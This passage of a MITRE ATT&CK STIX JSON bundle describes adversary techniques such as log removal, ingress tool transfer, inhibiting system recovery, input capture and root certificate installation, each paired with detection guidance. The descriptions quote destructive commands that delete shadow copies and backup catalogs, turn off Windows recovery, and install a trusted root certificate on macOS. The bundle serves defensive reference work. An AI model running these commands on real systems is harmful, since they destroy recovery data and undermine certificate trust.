            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1027.005",
                    "url": "https://attack.mitre.org/techniques/T1027/005"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T21:03:09.766Z",
            "created": "2020-03-19T21:27:32.820Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host intrusion prevention systems",
                "Log analysis",
                "Signature-based detection"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Indicator Removal on Host",
            "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1070",
                    "url": "https://attack.mitre.org/techniques/T1070"
                },
                {
                    "external_id": "CAPEC-93",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/93.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-24T13:35:09.065Z",
            "created": "2017-05-31T21:30:55.892Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers"
            ],
            "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files.  Events not stored on the file system may require different detection mechanisms.",
            "x_mitre_defense_bypassed": [
                "Log analysis",
                "Host intrusion prevention systems",
                "Anti-virus"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Deletion",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification",
                "Windows Registry: Windows Registry Key Deletion",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Content",
                "User Account: User Account Authentication",
                "File: File Metadata"
            ],
            "x_mitre_contributors": [
                "Brad Geesaman, @bradgeesaman",
                "Ed Williams, Trustwave, SpiderLabs"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "created": "2018-04-18T17:59:24.739Z",
            "modified": "2020-06-20T22:09:22.559Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Indirect Command Execution",
            "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1202",
                    "url": "https://attack.mitre.org/techniques/T1202"
                },
                {
                    "url": "https://twitter.com/vector_sec/status/896049052642533376",
                    "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.",
                    "source_name": "VectorSec ForFiles Aug 2017"
                },
                {
                    "url": "https://twitter.com/Evi1cg/status/935027922397573120",
                    "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.",
                    "source_name": "Evi1cg Forfiles Nov 2017"
                },
                {
                    "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe",
                    "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.",
                    "source_name": "RSA Forfiles Aug 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)",
            "x_mitre_defense_bypassed": [
                "Static File Analysis",
                "Application control",
                "Application control by file name or path"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "created": "2017-05-31T21:31:16.408Z",
            "modified": "2020-03-20T15:42:48.595Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Ingress Tool Transfer",
            "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1105",
                    "url": "https://attack.mitre.org/techniques/T1105"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "File: File Creation"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>",
            "name": "Inhibit System Recovery",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "T1490",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1490"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                },
                {
                    "source_name": "FireEye WannaCry 2017",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-07-14T19:33:52.512Z",
            "created": "2019-04-02T13:54:43.136Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "root",
                "SYSTEM",
                "User"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Service: Service Metadata",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Deletion"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of <code>HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage</code>).",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_contributors": [
                "Yonatan Gotlib, Deep Instinct"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1056",
                    "url": "https://attack.mitre.org/techniques/T1056"
                },
                {
                    "external_id": "CAPEC-569",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/569.html"
                },
                {
                    "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
                    "source_name": "Adventures of a Keystroke"
                }
            ],
            "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).",
            "name": "Input Capture",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-10-21T01:31:35.760Z",
            "created": "2017-05-31T21:30:48.323Z",
            "x_mitre_version": "1.2",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Driver: Driver Load",
                "Process: OS API Execution",
                "Process: Process Creation",
                "File: File Modification",
                "Process: Process Metadata"
            ],
            "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root",
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
            "name": "Input Prompt",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1141",
                    "url": "https://attack.mitre.org/techniques/T1141"
                },
                {
                    "external_id": "CAPEC-569",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/569.html"
                },
                {
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "source_name": "OSX Malware Exploits MacKeeper"
                },
                {
                    "source_name": "LogRhythm Do You Trust Oct 2014",
                    "url": "https://logrhythm.com/blog/do-you-trust-your-computer/",
                    "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018."
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "source_name": "Enigma Phishing for Credentials Jan 2015",
                    "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/",
                    "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-12T16:34:06.412Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1608.003",
                    "url": "https://attack.mitre.org/techniques/T1608/003"
                },
                {
                    "source_name": "DigiCert Install SSL Cert",
                    "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm",
                    "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Install Digital Certificate",
            "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
            "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-26T18:43:18.448Z",
            "created": "2021-03-17T20:32:13.793Z",
            "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
            "name": "Install Root Certificate",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1130",
                    "url": "https://attack.mitre.org/techniques/T1130"
                },
                {
                    "external_id": "CAPEC-479",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/479.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Root_certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
                    "source_name": "Wikipedia Root Certificate"
                },
                {
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "source_name": "Operation Emmental"
                },
                {
                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
                    "source_name": "Kaspersky Superfish"
                },
                {
                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
                },
                {
                    "source_name": "objective-see ay mami 2018",
                    "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x26.html"
                },
                {
                    "source_name": "Microsoft Sigcheck May 2017",
                    "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
                },
                {
                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
                    "source_name": "Tripwire AppUNBlocker"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-21T21:11:06.761Z",
            "created": "2017-05-31T21:31:42.750Z"
        },
        {
            "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
            "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",
            "name": "Install Root Certificate",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1553.004",
                    "url": "https://attack.mitre.org/techniques/T1553/004"
                },
                {
                    "external_id": "CAPEC-479",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/479.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Root_certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
                    "source_name": "Wikipedia Root Certificate"
                },
                {
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "source_name": "Operation Emmental"
                },
                {
                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
                    "source_name": "Kaspersky Superfish"
                },
                {
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "source_name": "SpectorOps Code Signing Dec 2017"
                },
                {
                    "url": "https://objective-see.com/blog/blog_0x26.html",
                    "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
                    "source_name": "objective-see ay mami 2018"
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck",
                    "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
                    "source_name": "Microsoft Sigcheck May 2017"
                },
                {
                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
                    "source_name": "Tripwire AppUNBlocker"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-19T20:31:11.389Z",
            "created": "2020-02-21T21:05:32.844Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Matt Graeber, @mattifestation, SpecterOps",
                "Red Canary",
                "Travis Smith, Tripwire",
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072",
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
            "name": "InstallUtil",
            "external_references": [
                {
                    "external_id": "T1118",
                    "url": "https://attack.mitre.org/techniques/T1118",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
                },
                {
                    "source_name": "LOLBAS Installutil",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
                    "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T18:59:38.256Z",
            "created": "2017-05-31T21:31:27.510Z"
        },
        {
            "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107",
            "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)",
            "name": "InstallUtil",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.004",
                    "url": "https://attack.mitre.org/techniques/T1218/004"
                },
                {
                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
                },
                {
                    "source_name": "LOLBAS Installutil",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
                    "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:34:46.529Z",
            "created": "2020-01-23T19:09:48.811Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Casey Smith"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
